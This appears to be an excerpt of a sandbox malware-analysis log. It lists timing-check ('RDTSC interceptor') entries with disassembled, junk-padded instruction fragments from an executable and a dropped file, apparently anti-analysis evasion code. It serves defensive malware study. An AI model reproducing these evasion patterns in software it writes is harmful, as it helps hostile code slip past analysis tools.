Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EAED second address: E3EB0F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F6A88D62F26h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F6A88D62F3Eh 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c je 00007F6A88D62F26h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EB0F second address: E3EB13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E416D0 second address: E416D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E416D4 second address: E416E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jns 00007F6A8934DF98h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42E6F second address: E42E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E42E75 second address: E42EBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F6A8934DF9Dh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F6A8934DFA0h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b je 00007F6A8934DF98h 0x00000021 push eax 0x00000022 pop eax 0x00000023 js 00007F6A8934DF9Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44EB5 second address: E44EE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F31h 0x00000007 pushad 0x00000008 jmp 00007F6A88D62F32h 0x0000000d jmp 00007F6A88D62F2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54202C0 second address: 54202D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A8934DF9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54202D0 second address: 54202E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, bx 0x0000000f mov cx, di 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54202E3 second address: 54202FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A8934DFA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54202FE second address: 5420302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420302 second address: 542031D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6A8934DFA0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54203B7 second address: 5420424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6A88D62F2Fh 0x00000009 sub esi, 61704A8Eh 0x0000000f jmp 00007F6A88D62F39h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F6A88D62F30h 0x0000001b sbb esi, 34B7D508h 0x00000021 jmp 00007F6A88D62F2Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007F6A88D62F2Bh 0x00000033 mov cx, A66Fh 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420424 second address: 542042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C0F9 second address: D5C10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F30h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C2F4 second address: D5C312 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6A8934DF9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6A8934DF9Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C58A second address: D5C591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542046C second address: 5420470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420470 second address: 542048D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542048D second address: 5420493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420493 second address: 54204DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6A88D62F36h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F6A88D62F30h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F6A88D62F30h 0x0000001b pop ebp 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54204DB second address: 54204DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54205A2 second address: 5420640 instructions: 0x00000000 rdtsc 0x00000002 mov al, dl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, dword ptr [ebp+0Ch] 0x0000000a jmp 00007F6A88D62F37h 0x0000000f mov esi, edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6A88D62F2Bh 0x00000018 and ax, 891Eh 0x0000001d jmp 00007F6A88D62F39h 0x00000022 popfd 0x00000023 popad 0x00000024 mov al, byte ptr [edx] 0x00000026 jmp 00007F6A88D62F2Eh 0x0000002b inc edx 0x0000002c pushad 0x0000002d call 00007F6A88D62F2Dh 0x00000032 pushfd 0x00000033 jmp 00007F6A88D62F30h 0x00000038 adc ax, D178h 0x0000003d jmp 00007F6A88D62F2Bh 0x00000042 popfd 0x00000043 pop esi 0x00000044 popad 0x00000045 test al, al 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a mov ch, 26h 0x0000004c movsx ebx, si 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420640 second address: 5420640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6A8934DFA5h 0x00000009 sbb ch, FFFFFFC6h 0x0000000c jmp 00007F6A8934DFA1h 0x00000011 popfd 0x00000012 call 00007F6A8934DFA0h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jne 00007F6A8934DF00h 0x00000021 mov al, byte ptr [edx] 0x00000023 jmp 00007F6A8934DF9Eh 0x00000028 inc edx 0x00000029 pushad 0x0000002a call 00007F6A8934DF9Dh 0x0000002f pushfd 0x00000030 jmp 00007F6A8934DFA0h 0x00000035 adc ax, D178h 0x0000003a jmp 00007F6A8934DF9Bh 0x0000003f popfd 0x00000040 pop esi 0x00000041 popad 0x00000042 test al, al 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov ch, 26h 0x00000049 movsx ebx, si 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542069B second address: 54206B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov esi, 3F4AC13Fh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54206B8 second address: 54206BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54206BE second address: 54206C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542082D second address: 5420833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420833 second address: 5420843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420843 second address: 5420847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420847 second address: 542084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542084B second address: 5420851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420851 second address: 5420856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420856 second address: 54208BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [ebp-10h] 0x0000000a jmp 00007F6A8934DFA9h 0x0000000f mov dword ptr fs:[00000000h], ecx 0x00000016 jmp 00007F6A8934DF9Eh 0x0000001b pop ecx 0x0000001c pushad 0x0000001d mov si, di 0x00000020 popad 0x00000021 pop edi 0x00000022 jmp 00007F6A8934DF9Fh 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6A8934DFA5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54208BC second address: 54208C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54208C2 second address: 54208C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54208C6 second address: 54208CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54208CA second address: 5420924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6A8934DFA5h 0x00000010 add si, CC26h 0x00000015 jmp 00007F6A8934DFA1h 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F6A8934DF9Eh 0x00000023 adc esi, 182315C8h 0x00000029 jmp 00007F6A8934DF9Bh 0x0000002e popfd 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420924 second address: 5420986 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6A88D62F38h 0x00000008 sub eax, 4D7D1828h 0x0000000e jmp 00007F6A88D62F2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 leave 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F6A88D62F2Bh 0x00000021 sub ax, 296Eh 0x00000026 jmp 00007F6A88D62F39h 0x0000002b popfd 0x0000002c mov bh, ah 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420986 second address: 542098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420ABE second address: 5420B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F6A88D62F2Eh 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F6A88D62F2Eh 0x00000014 xor ax, 9248h 0x00000019 jmp 00007F6A88D62F2Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F6A88D62F38h 0x00000025 and ah, FFFFFFA8h 0x00000028 jmp 00007F6A88D62F2Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F6A88D62F35h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420B37 second address: 5420B49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420B49 second address: 5420B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5420B4D second address: 5420B5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 608553 second address: 608559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 608559 second address: 608560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 608560 second address: 608565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 608565 second address: 60856B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 60856B second address: 60859E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6A88D62F26h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d js 00007F6A88D62F3Bh 0x00000013 jmp 00007F6A88D62F35h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a js 00007F6A88D62F3Eh 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 5FD010 second address: 5FD014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 5FD014 second address: 5FD028 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6A88D62F26h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F6A88D62F32h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 607532 second address: 60753E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 60753E second address: 60754E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jng 00007F6A88D62F26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6076A0 second address: 6076D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6A8934DFA9h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6A8934DFA3h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6076D5 second address: 6076D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 607B1C second address: 607B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A8934DF9Ch 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 607B2E second address: 607B37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609991 second address: 609995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609AED second address: 609B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jg 00007F6A88D62F26h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609B04 second address: 609B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609B08 second address: 609B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609B0E second address: 609B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609B14 second address: 609B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609B18 second address: 609B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F6A8934DF9Bh 0x0000000e push 00000000h 0x00000010 sub dword ptr [ebp+122D2ED4h], esi 0x00000016 call 00007F6A8934DF99h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push edx 0x00000021 pop edx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609C35 second address: 609C80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 17B5BBF3h 0x0000000d mov dx, AF32h 0x00000011 lea ebx, dword ptr [ebp+1244E7D0h] 0x00000017 mov edi, dword ptr [ebp+122D3850h] 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f ja 00007F6A88D62F2Ch 0x00000025 jbe 00007F6A88D62F34h 0x0000002b jmp 00007F6A88D62F2Eh 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jbe 00007F6A88D62F28h 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609C80 second address: 609C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 609C86 second address: 609C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 61BCA8 second address: 61BCB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6A8934DF9Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 5EF71D second address: 5EF722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6295BE second address: 6295D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnc 00007F6A8934DFA2h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6295D5 second address: 6295E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6A88D62F26h 0x0000000a jnc 00007F6A88D62F26h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62973C second address: 629742 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 629742 second address: 62975B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F6A88D62F30h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62975B second address: 629773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6A8934DF9Ch 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 629773 second address: 62977A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62990D second address: 629911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 629911 second address: 629926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 629926 second address: 629957 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6A8934DFAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F6A8934DF9Dh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A12F second address: 62A137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A137 second address: 62A13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A13C second address: 62A155 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F6A88D62F26h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A59E second address: 62A5A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A5A9 second address: 62A5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A707 second address: 62A711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6A8934DF96h 0x0000000a rdtsc
